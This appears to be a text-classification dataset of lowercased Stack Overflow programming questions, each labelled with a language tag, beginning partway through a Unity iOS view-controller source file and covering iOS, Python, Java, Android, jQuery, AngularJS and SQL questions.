ui/orientationsupport.h  #include  ui/unityview.h  #include  ui/unityviewcontrollerbase.h  #include  unity/displaymanager.h    // temp:   #include  ui/activityindicator.h  #include  ui/splashscreen.h  #include  ui/keyboard.h   extern bool _skippresent; extern bool _unityappready;   @implementation unityappcontroller (viewhandling)  #if !unity_tvos // special case for when we do know the app orientation  but dont get it through normal mechanism (uiviewcontroller orientation handling) // how can this happen: // 1. on startup: ios is not sending  change orientation  notifications on startup (but rather we  start  in correct one already) // 2. when using presentation controller it can override orientation constraints  so on dismissing we need to tweak app orientation; //      pretty much like startup situation uiviewcontroller would have correct orientation  and app will be out-of-sync - (void)updateapporientation:(uiinterfaceorientation)orientation {     _curorientation = orientation;     [_unityview willrotatetoorientation:orientation fromorientation:(uiinterfaceorientation)uiinterfaceorientationunknown];     [_unityview didrotate]; } #endif  - (unityview*)createunityview {     return [[unityview alloc] initfrommainscreen]; } #if unity_tvos - (unityviewcontrollerbase*)createunityviewcontrollerfortvos {     unitydefaulttvviewcontroller* controller = [[unitydefaulttvviewcontroller alloc] init];     // this enables game controller use in on-screen keyboard     controller.controlleruserinteractionenabled = yes;     return controller;   } #else - (unityviewcontrollerbase*)createautorotatingunityviewcontroller {     return [[unitydefaultviewcontroller alloc] init]; }  - (unityviewcontrollerbase*)createunityviewcontrollerfororientation:(uiinterfaceorientation)orient {     switch(orient)     {         case uiinterfaceorientationportrait:            return [[unityportraitonlyviewcontroller alloc] init];         case uiinterfaceorientationportraitupsidedown:  return [[unityportraitupsidedownonlyviewcontroller alloc] init];         case uiinterfaceorientationlandscapeleft:       return [[unitylandscapeleftonlyviewcontroller alloc] init];         case uiinterfaceorientationlandscaperight:      return [[unitylandscaperightonlyviewcontroller alloc] init];          default:                                        nsassert(false  @ bad uiinterfaceorientation provided );     }     return nil; } - (unityviewcontrollerbase*)createrootviewcontrollerfororientation:(uiinterfaceorientation)orientation {     nsassert(orientation != 0  @ bad uiinterfaceorientation provided );     if(_viewcontrollerfororientation[orientation] == nil)     {         _viewcontrollerfororientation[orientation] =                 (unityviewcontrollerbase*)[self createunityviewcontrollerfororientation:orientation];     }     return _viewcontrollerfororientation[orientation];  } #endif  - (uiviewcontroller*)topmostcontroller {   uiviewcontroller *topcontroller = self.window.rootviewcontroller;   while (topcontroller.presentedviewcontroller)   {     topcontroller = topcontroller.presentedviewcontroller;   }    return topcontroller; } - (uiviewcontroller*)createrootviewcontroller { #if unity_tvos     return [self createunityviewcontrollerfortvos]; #else     unityviewcontrollerbase* ret = nil;     if(unityshouldautorotate())     {         if(_viewcontrollerfororientation[0] == nil)         {             _viewcontrollerfororientation[0] =                     (unityviewcontrollerbase*)[self createautorotatingunityviewcontroller];         }         ret = _viewcontrollerfororientation[0];     }     else     {         uiinterfaceorientation orientation = converttoiosscreenorientation((screenorientation)unityrequestedscreenorientation());         ret = (unityviewcontrollerbase*)[self createrootviewcontrollerfororientation:orientation];     }      if(_curorientation == uiinterfaceorientationunknown)         [self updateapporientation:converttoiosscreenorientation(uiviewcontrollerorientation(ret))];      return ret; #endif }  - (void)willstartwithviewcontroller:(uiviewcontroller*)controller {     _unityview.contentscalefactor   = unityscreenscalefactor([uiscreen mainscreen]);     _unityview.autoresizingmask     = uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight;      _rootcontroller.view = _rootview = _unityview; #if !unity_tvos     _rootcontroller.wantsfullscreenlayout = true; #endif } - (void)willtransitiontoviewcontroller:(uiviewcontroller*)tocontroller fromviewcontroller:(uiviewcontroller*)fromcontroller {     fromcontroller.view = nil;     tocontroller.view   = _rootview; }  #if !unity_tvos -(void)interfacewillchangeorientationto:(uiinterfaceorientation)tointerfaceorientation {     uiinterfaceorientation frominterfaceorientation = _curorientation;      _curorientation = tointerfaceorientation;     [_unityview willrotatetoorientation:tointerfaceorientation fromorientation:frominterfaceorientation]; } -(void)interfacedidchangeorientationfrom:(uiinterfaceorientation)frominterfaceorientation {     [_unityview didrotate]; } #endif  - (uiview*)createsnapshotview {     // snapshot api appeared on ios7     // but on ios7 tweaking hierarchy like that on going to background results in all kind of weird things when going back to foreground     // so do snapshotting only on ios8 and newer     return _ios80ornewer   [_rootview snapshotviewafterscreenupdates:yes] : nil; }  - (void)createui {     nsassert(_unityview != nil  @ _unityview should be inited at this point );     nsassert(_window != nil  @ _window should be inited at this point );      _rootcontroller = [self createrootviewcontroller];      [self willstartwithviewcontroller:_rootcontroller];      nsassert(_rootview != nil  @ _rootview  should be inited at this point );     nsassert(_rootcontroller != nil  @ _rootcontroller should be inited at this point );      [_window makekeyandvisible];     [uiview setanimationsenabled:no];      // todo: extract it       showsplashscreen(_window);      nsnumber* style = [[[nsbundle mainbundle] infodictionary] objectforkey:@ unity_loadingactivityindicatorstyle ];     showactivityindicator([splashscreen instance]  style   [style intvalue] : -1 ); }  - (void)showgameui {     hideactivityindicator();     hidesplashscreen();      // make sure that we start up with correctly created/inited rendering surface     // nb: recreateglessurface won t go into rendering because _unityappready is false     [_unityview recreateglessurface];      // ui hierarchy     [_window addsubview: _rootview];     _window.rootviewcontroller = _rootcontroller;     [_window bringsubviewtofront:_rootview];      // why we set level ready only now:     // surface recreate will try to repaint if this var is set (poking unity to do it)     // but this frame now is actually the first one we want to process/draw     // so all the recreatesurface before now (triggered by reorientation) should simply change extents      _unityappready = true;      // why we skip present:     // this will be the first frame to draw  so start methods will be called     // and we want to properly handle resolution request in start (which might trigger surface recreate)     // nb: we want to draw right after showing window  to avoid black frame creeping in      _skippresent = true;      if (!unityispaused())         unityrepaint();      _skippresent = false;     [self repaint];      [uiview setanimationsenabled:yes]; }  - (void)transitiontoviewcontroller:(uiviewcontroller*)vc {     [self willtransitiontoviewcontroller:vc fromviewcontroller:_rootcontroller];     _rootcontroller = vc;     _window.rootviewcontroller = vc;      [_rootview layoutsubviews]; }  #if !unity_tvos - (void)orientinterface:(uiinterfaceorientation)orient {     if(_curorientation == orient &amp;&amp; _rootcontroller != _viewcontrollerfororientation[0])         return;      if(_unityappready)         unityfinishrendering();      [keyboarddelegate startreorientation];      [catransaction begin];     {         uiinterfaceorientation oldorient = _curorientation;         uiinterfaceorientation neworient = orient;          [self interfacewillchangeorientationto:neworient];         [self transitiontoviewcontroller:[self createrootviewcontrollerfororientation:neworient]];         [self interfacedidchangeorientationfrom:oldorient];          [uiapplication sharedapplication].statusbarorientation = orient;     }     [catransaction commit];      [keyboarddelegate finishreorientation]; }  // it is kept only for backward compatibility - (void)orientunity:(uiinterfaceorientation)orient {     [self orientinterface:orient]; } #endif  #if unity_ios - (void)checkorientationrequest {     if(unityshouldautorotate())     {         if(_rootcontroller != _viewcontrollerfororientation[0])         {             [self transitiontoviewcontroller:[self createrootviewcontroller]];             [uiviewcontroller attemptrotationtodeviceorientation];         }         return;     }     else     {         screenorientation requestedorient = (screenorientation)unityrequestedscreenorientation();         [self orientunity:converttoiosscreenorientation(requestedorient)];     } } #else - (void)checkorientationrequest { } #endif  @end </code></pre>,ios
how to make an html id defined in an html accessable in another html file  how can i let an id that is defined in an html or jsp file be accessable in another file     the reason for doing this is that i used ajax to get some content that is defined in another file. and i want the id of that content to be accessable from my first file.    i tried to look for a way to change the scope of the id but couldn t find.,html
obj c  xcode making a view transition  i am trying to make a button on a navigation controller that causes a transition to another view controller (that has a back button to the previous nav view).  i m trying to do this programmatically.  i made a uinavigationcontroller and a uitabbarcontroller. the nav controller is the opening tab of the tab controller.  i made a subclass of the uiviewcontroller called subviecontroller. i haven t added anything to the sub classes  only the auto generated material. i ve made all my edits to the didfinishlaunchingwithoptions method in appdelegate.m.   <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions { self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]]; // override point for customization after application launch. self.window.backgroundcolor = [uicolor whitecolor]; uitabbarcontroller * tabbarcontroller = [[uitabbarcontroller alloc] init]; self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]]; subviewcontroller * firsttab= [[subviewcontroller alloc] initwithnibname:@ subviewcontroller  bundle:nil]; uinavigationcontroller *navigationcontroller1 = [[uinavigationcontroller alloc] initwithrootviewcontroller:firsttab]; secondviewcontroller *secondtab = [[secondviewcontroller alloc] initwithnibname:@ secondviewcontroller     bundle:nil];  subtablecontroller *table = [[subtablecontroller alloc]initwithnibname:@ subtablecontroller  bundle:nil]; navigationcontroller1.tabbaritem.title = @ first nav ; secondtab.tabbaritem.title =@ second ; table.title = @ third table ; tabbarcontroller.viewcontrollers = @[navigationcontroller1 secondtab  table]; [self.window setrootviewcontroller:tabbarcontroller]; [self.window makekeyandvisible]; return yes; } </code></pre>   and i try to move a button onto the subviewcontroller.xib file to connect it into the code so i can make a button action. but when i ctrl+drag  nothing inserts into the code like usual.    what do i do to have the button cause a transition from the starting view to a separate view that is still considered to be on the 1st tab  with a back button to the first view which is also in the first tab     edit: this code seems to work for the button action: - (ibaction)transition:(uibutton *)sender{     subviewcontroller * view2 = [[subviewcontroller alloc]init];     [self.navigationcontroller pushviewcontroller:view2 animated:yes]; },ios
i have text file in which each row with single word. convert it into line using python  i have a text file with a single word in each row.    i want to convert it into line using python.    input:  <code>file.txt</code>   <pre><code>word1 in row1 word2 in row2 word3 in row3 word4 in row4 </code></pre>   expected output: <code>[ word1.z    word2.z    word3.z    word4.z ]</code>,python
java - check whether a number given by the user from console is in a text file  i m kinda new to java so i m looking for an help to do this.    as the title says  i m trying to write a program that checks if a number given by the user from console is inside a text file with one number for each line or not.    i am using the <code>scanner</code> class to check every line  but i am having problems with what condition the if statement should have when the number is found inside the file. i wrote down this part code (i m not even sure if it s correct itself  so correct me if i m wrong):   <pre><code>int lines = 0; while (filescanner.hasnextline()) {     string line = filescanner.nextline();     lines++;     if(conditon here) {         system.out.println( i found the number on line   + lines);     } } </code></pre>   thanks in advance.,java
how to add info button to uitoolbar  i need to add info button to toolbar.    can any one help me to solve this.    thanks in advance.,objective-c
linearlayout.removeallviews() doesn t work (illegalstateexception)  i m trying to add empty footer (<code>linearlayout</code>) to my <code>listview</code> and fill this footer with my own view after:   <pre><code>private view footerbutton; private linearlayout footer;  @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.rlist);      footer=new linearlayout(this);     footer.setlayoutparams(new listview.layoutparams(listview.layoutparams.match_parent  listview.layoutparams.wrap_content));      footerbutton=((layoutinflater)getsystemservice(context.layout_inflater_service)).inflate(r.layout.footer_button  null  false);      listview list=(listview) findviewbyid(r.id.list);     list.addfooterview(footerbutton null false);      final userslistadapter adapter = new userslistadapter(this);     list.setadapter(adapter);      //...      new thread() {         @override         public void run() {              //loading...              runonuithread(new runnable() {                 public void run() {                     adapter.notifydatasetchanged();                      footer.removeallviews();                     footer.addview(footerbutton);                 }             });         }     }.start(); } </code></pre>   but i get exception in line  footer.addview(footerbutton); :   <pre><code>java.lang.illegalstateexception: the specified child already has a parent. you must call removeview() on the child s parent first. </code></pre>   why  as you know i call <code>removeallviews()</code> before adding any views. how to fix it,android
uiimagepickercontroller push viewcontroller bug with allowsediting  i am trying to push a view controller (for extra editing) from uiimagepickercontroller after user has selected an image.<br> it is successfully pushed. but when that view controller is popped and user return to the editing screen  the editing screen is no longer interactable. does anyone know what is the problem.    <pre><code>    -(void)didtapbtn:(id)sender         {             self.picker = [[uiimagepickercontroller alloc] init];             self.picker.sourcetype = uiimagepickercontrollersourcetypephotolibrary;             self.picker.delegate = self;             self.picker.allowsediting = yes;              [self presentviewcontroller:self.picker animated:yes completion:nil];         }          -(void)imagepickercontroller:(uiimagepickercontroller *)picker didfinishpickingmediawithinfo:(nsdictionary *)info         {             uiimage *image = [info objectforkey:uiimagepickercontrollereditedimage];              if (image == nil) {                 image = [info objectforkey:uiimagepickercontrolleroriginalimage];             }              if (image == nil) {                 return;             }               self.test = [[bttestviewcontroller alloc] init];             self.test.delegate = self;              [self.picker pushviewcontroller:self.test animated:yes];         }  //called by bttestviewcontroller         -(void)didcancel         {             [self.picker popviewcontrolleranimated:yes];         } </code></pre>,ios
is it possible to access a private method of parent class from the child class in java   how do i call a private method in this type of parent class  what i have done is an ugly peice of code but it works though i don t think it s a real solution.    would really appreciate some advice on how this is done. i have looked to find solution but non that have given me some clarity on the matter.    <pre><code>    public abstract class car {           public void passiton(int a) {                  takesvariable(a);           }     private void takesvariable(int a) {           //process the variables     } </code></pre>   the child:   <pre><code>     public abstract class wheel extends car {       boolean a = anothermethod();         if(value() != a) {           passiton(a);         }       } </code></pre>   there is some issue with my accaptance rate but i am on it! all will give + marks for replies!!!,java
backtraces are not generating on arm  i am working on arm architecture and want to generate backtraces at runtime.but its not working as expected :   <pre><code>#include &lt;stdio.h&gt; #include &lt;execinfo.h&gt; #include &lt;stdlib.h&gt; #include &lt;signal.h&gt;  #include &lt;sys/syscall.h&gt;  struct ss {         int i; };  static void    dumpstack(int signum  siginfo_t *p_siginfo  void *p_sigcontext) {         struct sigaction    *old_sigaction_p;         void                            *trace[1024];         int                     trace_size  i;           printf( trapped signal %d in process %d thread %ld fault at %p ...\n           signum  getpid()  syscall(sys_gettid)  p_siginfo-&gt;si_addr);  printf( trapped signal %d in process %d thread %ld fault at %p ...\n           signum  getpid()  syscall(sys_gettid)  p_siginfo-&gt;si_addr);         printf( dumping stack for process %d %ld ...\n   getpid()  pthread_self(( ));          trace_size = backtrace(trace  1024);          printf( ************************\n );         printf( [bt] execution path:\n );         //backtrace_symbols_fd(trace  trace_size  1);         //printf( trace size : %d\n   trace_size);          char** str      = backtrace_symbols(trace  trace_size);         printf( trace size : %d\n   trace_size);         for (i = 0; i &lt; trace_size; ++i) {              printf( %d - %s\n   i  str[i]);          }         free(str);         printf( ************************\n );          exit(0); }  int signal_setup(void) {         struct sigaction    sigaction_v;          //common settings for all signals         sigaction_v.sa_handler          = null;         sigaction_v.sa_restorer                 = null;         sigfillset(&amp;sigaction_v.sa_mask);          sigaction_v.sa_sigaction        = dumpstack;         sigaction_v.sa_flags            = sa_siginfo;          int i;         for(i=1;i&lt;33;i++)         {                 sigaction(i  &amp;sigaction_v  null);         }         return 0; }  int main()void abc(struct ss *s) {         printf( %d   s-&gt;i); }  {         struct ss       *s;         signal_setup();         printf( hello world\n );         abc(s);         return 0; } </code></pre>   above is my code snippet and i m compiling with <code>-rdynamic</code> and <code>-g</code> flags.    its showing output as :   <pre> hello world trapped signal 11 in process 3401 thread 3401 fault at (nil) ... dumping stack for process 3401 0 ... ************************ [bt] execution path: trace size : 0 ************************ </pre>   please advise me what i need to do to get the proper backtraces.,c
c# call or click <a href=#myref id=myref>mylink</a> from code behind  i would like to do this.   <pre><code>&lt;asp:button onclick= mycode  id= button1  runat= server /&gt; &lt;asp:linkbutton runat= server  id= buttonlink  href= #menu &gt;     &lt;img src= images/create.png /&gt; &lt;/asp:linkbutton&gt;   protected void mycode(object sender  eventargs e) {     // run my update script here     buttonlink.click(); } </code></pre>   however i need this to be simulated on the client side  no code behind for that action.,c#
padding a codepoint s binary representation with 0 s  i am writing a function in python with signature    <pre><code>def function(codepoint): </code></pre>   lets say the codepoint is 180  which binary representation is 10110100. let s say i want to pad the codepoint with 2 0 s so that is turns into 0010110100. what is the best way to do this in python  i am not allowed to convert it to a string using bin() and when i tried doing formatting my binary representation grew in length by a lot so i know i am not padding correctly. any solutions to my problem      thanks.,python
how can i attach a sqlite id to a spinner object in android   i want to pull a couple columns from a database and add those to the spinner  but i want the _id of the row to be hidden in there somewhere too.  take partial sample code below for example:   <pre><code>    public void fillprofilespinner()     {         string query =  select _id fruit_type weight colour from fruits; ;         sqlitedatabase profiledatabase = fruitcakes.database.getreadabledatabase();         cursor cursor = profiledatabase.rawquery(query  null);         startmanagingcursor(cursor);         try {             cursor.movetofirst();             do             {                 string fruittype = cursor.getstring(cursor.getcolumnindex( fruit_type ));                 double weight = cursor.getstring(cursor.getcolumnindex( weight ));                 string colour = cursor.getint(cursor.getcolumnindex( colour ));                 fruitadapter.add(colour +     + weight +     + fruit_type);             }             while(cursor.movetonext());         }         catch(exception e)         {             e.printstacktrace();         }         cursor.deactivate();         cursor.close();         profiledatabase.close(); } </code></pre>   i believe this is what i m looking for  however i find it very confusing: <a href= https://stackoverflow.com/questions/6983514/android-spinners-say-i-pull-spinner-selections-from-sql-can-i-also-add-their-sq >android spinners  say i pull spinner selections from sql  can i also add their sql _id&#39;s to the spinner values </a>    how can i get the _id column in there somewhere  so that is accessible from some method in the spinner object,android
how to match dimensions of an image in xcode storyboard with simulation~   i am trying to position few images in my storyboard.  when i run the simulation  the images are 3x bigger. i tried to set scale to fill  but it scaled my images inproportionally (with no aspect ratio).    how do i make so that the view i see in the xcode storyboard is the same as in the simulation (and ofc hardware),ios
table cell with subtitle does not trigger the segue   i have a very strange issue with the tableview: i have a table cell where i created a segue to another tableview i initiate the table cell using the below code with style  uitableviewcellstylesubtitle :    the problem i have is that touch of the table cell is not triggering the segue(prepareforsegue is not called)  but if i change the table cell style to default  then it works.    does anyone know  what is wrong  thanks a lot!   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath </code></pre>   {     static nsstring * const kplacescellidentifier = @ cell99 ;   <pre><code>uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:kplacescellidentifier];  cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:kplacescellidentifier];  //cell.editingaccessorytype = uitableviewcellaccessorydetaildisclosurebutton; countrycustomers *acountrycustomer = [_countrycustomerslist objectatindex:indexpath.row]; cell.textlabel.text = acountrycustomer.countryname; nsstring *detailtextlable = [@ users:  stringbyappendingstring:[nsstring stringwithformat:@ %d   acountrycustomer.usernumbers]]; cell.detailtextlabel.text = detailtextlable; cell.accessorytype = uitableviewcellaccessorydisclosureindicator;  //add the national flag nsstring *imagename = [nsstring stringwithformat:@ %@.png  acountrycustomer.countryname]; cell.imageview.image = [uiimage imagenamed:imagename];    return cell; </code></pre>   },ios
how to simplify the conditional statement  i am trying to simplify the following conditional statement. are there better way to do this  thanks.   <pre><code> if ($element.is( #resize )) {      css.left =+ 20;      css.top =+ 3;       if ($( #holder .main ).length &lt; 5 ) {          img.css( display    none );      }       img.insertbefore($element);      img.css(css);   } else if($element.is( #bt_id3 )) {      css.left =+ 20;      css.top =+ 3;       if ($( #id .main ).length &lt; 5 ) {          img.css( display    none );      }       img.insertbefore($element);      img.css(css);  } </code></pre>,jquery
jquery: check whether an element is hidden from the user  how to check whether a particular element is hidden from the user  in my code  under certain conditions  this code will be called:   <pre><code>$( #versionselectfield ).hide( fast ); </code></pre>   so i have to make sure that if <code>$( #versionselectfield )</code> is hidden  then i would not have to validate the value inside it when i submit the form ( i use <a href= http://docs.jquery.com/plugins/validation/validate  rel= noreferrer >jquery validate library</a> for this purpose).    any ideas,jquery
perform a function when radio button is clicked angularjs  i have 2 radio button for gender as male and female. when iam clicking male button some action should be performed in controller. same with female button. but in my code only male button click is working. what is wrong i my code    filter by:            <pre><code>        &lt;label&gt;              &lt;input type= radio  name= optionsradios  id= optionsradios1               ng-model= tofilter.sex  value= male  ng-click= checkstuff()  checked&gt;             &lt;label for= gender  class= control-label col-xs-2 &gt;male&lt;/label&gt;         &lt;/label&gt;         &lt;label&gt;             &lt;input type= radio  name= optionsradios  id= optionsradios2               ng-model= tofilter.sex  value= female  ng-click= checkstuff() &gt;             &lt;label for= gender  class= control-label col-xs-2 &gt;female&lt;/label&gt;         &lt;/label&gt;     &lt;/div&gt; </code></pre>,angularjs
remove alpahabets from string by function  remove alpahabets from string by function in sql   <pre><code>id     kms 1      100 kms 2      200 kms 3      50 kms 7      43 kms </code></pre>   how to remove the kms from the kms field using a function,mysql
data type for summing next few items  what data structure shall i use to represent the following table   <pre><code> a   1  b   2  c   3  d   4  e   5 </code></pre>   so that calculating the sum of the second items in the next i rows seems natural:    e.g. when i=1   <pre><code> a   2  b   3  c   4  d   5 </code></pre>   when i=2   <pre><code> a   2+3=5  b   3+4=7  c   4+5=9 </code></pre>   when i=3   <pre><code> a   2+3+4=9  b   3+4+5=12 </code></pre>   when i=4   <pre><code> a   2+3+4+5=14 </code></pre>   my two ideas:   <ol> <li> originally i represent the table as a list of sublists:   <pre><code>lst = [[ a   1]  [ b   2]  [ c   3]  [ d   4]  [ e   5]] </code></pre>   but i can t figure out how to do the above calculations (in a natural or straightforward way). <code>sum(lst[0:0+i][1])</code> doesn t work. the problem about my way is how to represent a sublist of i consecutive values from the second column in the table  for which <code>lst[0:0+i][1]</code> doesn t work. (does using two brackets side by side not work ) </li> <li> i have another idea  but i don t know how to implement it (can someone point out if it can be implemented ):   <ul> <li> split the above list into two lists  each for each column. </li> <li> do calculations on the second column list </li> <li> combine the first list and the result on the second column list. </li> </ul></li> </ol>   thanks.,python
how to define constant where scope is limited locally within module  how will i convey to other developer that particular constant is designed to be used locally within module      consider below example from myscript.py   <pre><code>path= some configurable path  </code></pre>   how will i define path constant where scope is limited locally within particular module. does it has to be prefixed with double underscore,python
memory warning when cells are recreated in tableview  i am displaying 100 remote images in <code>tableview</code>   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {   //static nsstring *cellidentifier = @ cell ; nsstring *cellidentifier = [nsstring stringwithformat:@ %d  indexpath.row];  uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];  if (cell == nil) {      cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier];  }  cell.imageview.image = nil; cell.textlabel.text = nil; cell.detailtextlabel.text = nil; cell.selectionstyle = uitableviewcellselectionstylenone;   // configure the cell...  for (uiview *view in cell.contentview.subviews) {     if ([view iskindofclass:[uibutton class]] || [view iskindofclass:[uilabel class]]||[view iskindofclass:[uiimageview class]]) {         [view removefromsuperview];     } }  int imagenumber = 0;  if (isinsearchmode) {     photovo *photovo = (photovo *)[searchresultarray objectatindex:indexpath.row];      uiimageview *photo_view = [[uiimageview alloc]initwithframe:cgrectmake(20  5  width   height - 10)];     photo_view.tag = 101;     [[photo_view layer] setborderwidth:3.0f];     [[photo_view layer] setbordercolor:[uicolor whitecolor].cgcolor];     [photo_view setimagewithurl:[nsurl urlwithstring:photovo.thumb_url1] placeholderimage:[uiimage imagenamed:@ loader ]];       [cell.contentview addsubview:photo_view];      uilabel *stringlable=[[uilabel alloc]initwithframe:cgrectmake(130  20  150  30)];     stringlable.backgroundcolor=[uicolor clearcolor];     stringlable.text=photovo.photoname;     stringlable.font=[uifont systemfontofsize:16.0];     [cell.contentview addsubview:stringlable];      uilabel *taglable=[[uilabel alloc]initwithframe:cgrectmake(130  55  150  30)];     taglable.backgroundcolor=[uicolor clearcolor];     taglable.text=photovo.tagstring;     taglable.font=[uifont systemfontofsize:12.0];      [cell.contentview addsubview:taglable];   } else {      for (int i = (indexpath.row * imagescount); i &lt; ((indexpath.row *imagescount) + imagescount); i++) {          if (i &lt; [cellimagevoarray count]) { // if resultsarray count is odd then we no need to create cell image              photovo *photovo = (photovo *)[cellimagevoarray objectatindex:i];              uibutton *appiconbtn = [uibutton buttonwithtype:uibuttontypecustom];              appiconbtn.frame = cgrectmake(((imagenumber * 5)+5)+(imagenumber * width)  2  width  height -4);              appiconbtn.tag = i + 100;             [[appiconbtn layer] setborderwidth:3.0f];             [[appiconbtn layer] setbordercolor:[uicolor whitecolor].cgcolor];              [appiconbtn addtarget:self action:@selector(imagetapped:) forcontrolevents:uicontroleventtouchupinside];              [appiconbtn setbackgroundimagewithurl:[nsurl urlwithstring:photovo.thumb_url1] placeholderimage:[uiimage imagenamed:@ loader.png ]];              //[appiconbtn setbackgroundimagewithurl:[nsurl urlwithstring:photovo.thumb_url1]];              [cell.contentview addsubview:appiconbtn];             imagenumber ++;          }      }    }  return cell;  } </code></pre>   i am using the above code for displaying the images in <code>tableview</code>  but i get a memory warning in all ways i check it. i think the cell is created every time so please tell me if you see any problem in the code.,ios
how to select each month of each year max dated row  please help me out with this select query.     <img src= https://i.stack.imgur.com/crvig.jpg  alt= enter image description here >    i need to find  exactly like this     <img src= https://i.stack.imgur.com/os4dp.jpg  alt= enter image description here >,sql
what does a @() in objective-c means   i ve seen <code>@(no)</code> in objective-c code  i guess it s a kind of syntactic sugar  but what does it actually mean,objective-c
objective-c calling subclasses by baseclass  i have an attack method i am trying to implement in class  enemy   in which it will call upon the subclasses of the class  paragon .    the subclasses are created via @interface  in the .h file  and implemented in .m.    this is my current attack method in stated in the enemy class:   <pre><code>-(void)chosenparagonforattack:(paragon*)paragon{     _paragonlink = nil; //_paragonlink  is an object of class paragon.     _paragonlink = paragon;     [self attackparagon];     [paragon underattackbyenemy :self]; } </code></pre>   the problem i am getting is that since the actual paragon is created by a subclass  the attack is not occuring. the subclasses define a different  paragon   with differing images and data etc.    is there a way to call the subclasses just stating the baseclass (paragon)     i can work around this by creating an if statement containing every subclass of the paragon class  however i am interested to find out if there is a better way to go about this.    i was thinking that  issubclassofclass  or  iskindofclass  would sort it out but i haven t been successful using them.    thanks.,objective-c
object html tag not working  i am trying to embed a pdf on a web page  but it isn t showing up.  this is the code:   <pre><code>&lt;object type= application/pdf  data= http://www.sunshinesam.com/v/vspfiles/downloadables/father sdayprintable2015.pdf  height= 600  width= 400 &gt;father s day printable 2015&lt;/object&gt; </code></pre>   what do i need to change to make it work   thanks!,html
starts with specific scene when app launch from background ios  i wonder how to launch the app from background with specific scene instead of always starts with launch screen or main.storyboard s initial viewcontroller.     for example  if the user was viewing the profile scene and then make the app go to background from there  i would like to launch the same profile scene(without reloading or the profile pictures  bio  etc) the next time the user bring the app to the foreground.     now the case is that the app always start with the launch screen and or the information that was loaded before went away.     how can i <strong>remember</strong> the specific scene when app enters background  by the way  i noticed this issue when i refractored the storyboard.,ios
pass json object in angular datatable  how to pass    <pre><code>var userdata=[{ name : username   address : address }] </code></pre>   i have to pass this userdata object to dtoptionsbuilder.withsource() it give me error . can anyone tell me how to pass this   <pre><code>  vm.dtoptions = dtoptionsbuilder.withsource( data.json ) </code></pre>,angularjs
don t understand example given of block scope  in the apple block documentation is an example of code not to write:   <pre><code>void dontdothiseither() {   void (^block) (void);   int i = random();   if (i &gt; 1000) {     block = ^{printf( got i at: %d\n   i); };   }   // ... } </code></pre>   the comments for the code say the block literal scope is the  then  clause. i don t understand what they mean by that  there is no then clause  which is presumably why they have put it in quotes. but why have they put it in quotes and what is the relationship to the block s scope,objective-c
mysql length() for different languages returns different size <pre><code>select   length( abcdefg ) english  length( 가나다라마바사 ) korean  from dual </code></pre>   this returns below.   <pre><code>english korean 7       21 </code></pre>   is there any function returning the count of character not character bytes     i mean what i need is   <pre><code>english korean 7       7 </code></pre>,mysql
why is my python var mutating   its probably something simple  but i cant see why <code>boundary_tests</code> is mutating here.   <pre><code># initalise boundary tests used in other functions  def initialise_boundary_tests(self):      self.boundary_tests = \         [self.is_lowest()           self.is_highest()           self.is_leftmost()           self.is_rightmost()]      self.b0 = self.boundary_tests[0]     self.b1 = self.boundary_tests[1]     self.b2 = self.boundary_tests[2]     self.b3 = self.boundary_tests[3]      self.set_inverse_bounds()      if self.debugging:         print( boundary test:   + str(self.boundary_tests))         print( inverse boundary test:   + str(self.inverse_boundary_tests))  #initialise inverse results as results def set_inverse_bounds(self):     if self.debugging:         print( setting inverse boundary tests )         print( boundary test:   + str(self.boundary_tests))     # self.inverse_boundary_tests = self.boundary_tests     temp = self.boundary_tests     self.inverse_boundary_tests = temp     print( boundary test:   + str(self.boundary_tests))     print( inverse boundary test:   + str(self.inverse_boundary_tests))     for index in range(len(self.inverse_boundary_tests)):         print( index  + str(index))         if self.inverse_boundary_tests[index] != 0:             print( before change:  +str(self.inverse_boundary_tests[index]))             self.inverse_boundary_tests[index] = self.inverse_boundary_tests[index] * -1             print(self.inverse_boundary_tests[index])     self.i0 = self.inverse_boundary_tests[0]     self.i1 = self.inverse_boundary_tests[1]     self.i2 = self.inverse_boundary_tests[2]     self.i3 = self.inverse_boundary_tests[3] </code></pre>   <strong>output:</strong>   <pre><code>setting inverse boundary tests boundary test: [1  -1  0  1] boundary test: [1  -1  0  1] inverse boundary test: [1  -1  0  1] index0 before change: 1 -1 index1 before change: -1 1 index2 index3 before change: 1 -1 boundary test: [-1  1  0  -1] inverse boundary test: [-1  1  0  -1] </code></pre>,python
can a custom .net application be written for mc55  is it possible to write a custom application that supports the .net framework for a motorola mc55 mobile device. if so what version of the framework should be used   this device is attached to a pc via a usb cable and is uses as a bar code scanner. the device has ms office mobile 2010 installed.,.net
date type field binding issue in angularjs  here is my projectcontroller:   <pre><code>(function () {     var app = angular.module( myapp );      var projectcontroller = function ($scope  $location) {          var currentdate = new date();         $scope.startdate = new date(currentdate.getfullyear()  currentdate.getmonth()  currentdate.getdate());     };      app.controller( projectcontroller   projectcontroller); }()); </code></pre>   this is my control binding:   <pre><code>&lt;input type= datetime-local  class= form-control   name= startdate  ng-model= startdate  /&gt;                             &lt;span class= text-danger  ng-show= myform.startdate.$error.date &gt;not a valid date.&lt;/span&gt; </code></pre>   but when value shows in the control <strong> 2016-02-15 </strong>.  how can i show the date in <strong>mm/dd/yyyy</strong> format in the control,angularjs
